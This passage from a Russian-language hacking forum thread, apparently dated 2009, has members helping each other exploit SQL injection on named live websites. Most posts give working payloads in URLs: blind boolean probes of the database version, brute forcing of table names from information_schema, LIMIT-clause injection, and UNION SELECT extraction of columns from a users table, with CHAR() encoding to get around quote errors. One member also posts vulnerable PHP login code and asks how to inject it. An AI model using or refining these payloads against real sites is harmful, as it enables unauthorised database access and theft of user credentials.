
18.03.2009, 17:13
|
|
Участник форума
Регистрация: 08.02.2008
Сообщений: 116
Провел на форуме: 1608432
Репутация:
158
|
|
http://www.zork.name/?view=1%27
|
|
|

18.03.2009, 17:36
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме: 7452489
Репутация:
1359
|
|
Сообщение от s_p_a_m
http://www.zork.name/?view=1%27
слепая(могу ошибаться, но фантазии не хватает)
http://www.zork.name/?view=1)+and+substring(version(),1,1)=5--+
Последний раз редактировалось geezer.code; 18.03.2009 в 17:41..
Причина: бес попутал
|
|
|

18.03.2009, 17:43
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме: 1066435
Репутация:
1013
|
|
только вот limit с union не дружит
лимит с ордером не дружит.
|
|
|

18.03.2009, 18:19
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Порылся в исходном коде...вот:
PHP код:
session_set_cookie_params(3600);
session_start();
if(isset($_SESSION['username']) && strlen($_SESSION['username']) && isset($_SESSION['password']) && strlen($_SESSION['password']))
{
$s_username = $_SESSION['username'];
$s_password = $_SESSION['password'];
include("include/mysql_connect.php");
$result = mysql_query("SELECT user_id, level FROM Users WHERE username='$s_username' && password=Password('$s_password')");
while($row = mysql_fetch_array($result))
{
$userid = $row["user_id"];
$s_user_id = $row["user_id"];
$s_level = $row["level"];
}
$num = mysql_num_rows($result);
if($num == 0)
{
header("Location: error2.php");
exit();
}
elseif($num == 1)
{
$course_id = $_REQUEST['course_id'];
if(!is_numeric($course_id))
{
$course_id = 0;
}
if($s_level == 0)
{
$result1 = mysql_query("SELECT * FROM Courses_Users WHERE user_id='$s_user_id' && course_id='$course_id'");
$num_c = mysql_num_rows($result1);
}
if($s_level > 0)
{
$result1 = mysql_query("SELECT * FROM Courses WHERE teacher='$s_user_id' && course_id='$course_id'");
$num_c = mysql_num_rows($result1);
}
$num_c = mysql_num_rows($result1);
if($num_c == 0)
{
header("Location: error2.php");
exit();
}
}
else
{
header("Location: index.php");
exit();
}
}
else
{
header("Location: index.php");
exit();
}
?>
Реально ли здесь провести sql inj ? Проверок нету,разве что на существование.
И ещё вопросег: там проверка course_id идёт только на то.является ли значение числом...можно ли это обойти ?
Последний раз редактировалось Велемир; 18.03.2009 в 18:22..
|
|
|

18.03.2009, 18:25
|
|
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме: 3152874
Репутация:
1020
|
|
Сообщение от Велемир
Реально ли здесь провести sql inj ? Проверок нету,разве что на существование.
И ещё вопросег: там проверка course_id идёт только на то.является ли значение числом...можно ли это обойти ?
Сессия храниться на сервере со всеми данными а пользователь лишь передает ее индетификатор, так что думай
2Byrger без кавычек
Unknown column 'users' in 'where clause'
Последний раз редактировалось AkyHa_MaTaTa; 18.03.2009 в 18:30..
|
|
|

18.03.2009, 18:23
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Офф имеется...А при mysql_quotes_gpc = On какой был бы вариант ?
ЗЫ: на этапе $s_username = $_SESSION['username']; можно вместо username подставить запрос?
Последний раз редактировалось Велемир; 18.03.2009 в 18:25..
|
|
|

18.03.2009, 19:22
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
s_p_a_m
Там INSERT
http://www.zork.name/?view=2)+and+substring(version(),1,1)=(5
вот перебор, если нужен
http://www.zork.name/?view=2)+AND+ascii(lower(substring((select+table_n ame+from+information_schema.tables+limit+17,1),1,1 )))<(53
===============================
Сообщение от ElteRUS
А инъекция после лимита возможна. Более чем )
Давай посмотрим реализацию  Например тут:
http://www.ngo-monitor.org/articles.php?article_type=op-eds&type=whatsnew&limit=140'
http://www.ngo-monitor.org/articles.php?article_type=op-eds&type=whatsnew&limit=140,2--+
Ну или твой вариант с удовольствием посмотрю. С "ORDER BY", что-бы всё как положено 
Последний раз редактировалось jokester; 18.03.2009 в 19:51..
|
|
|

18.03.2009, 20:09
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме: 7215020
Репутация:
1423
|
|
Сообщение от jokester
С "ORDER BY", что-бы всё как положено 
Если в запросе есть ордей бай то нельзя. Ну мне нужно было конкретизировать, сори что ввел вас в заблуждение 
|
|
|

18.03.2009, 18:24
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме: 791766
Репутация:
61
|
|
Почему возникает ошибка при таком запросе?
Что-то в синтаксисе не так?
PHP код:
http://www.moviead.com/display.cfm?id=-1+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users'+LIMIT+1,1--
|
|
|

18.03.2009, 18:28
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме: 7452489
Репутация:
1359
|
|
Сообщение от Byrger
Почему возникает ошибка при таком запросе?
Что-то в синтаксисе не так?
PHP код:
http://www.moviead.com/display.cfm?id=-1+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users'+LIMIT+1,1--
http://www.moviead.com/display.cfm?id=-1+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10,11,1 2+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME =CHAR(117,115,101,114,115)+LIMIT+1,1--
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|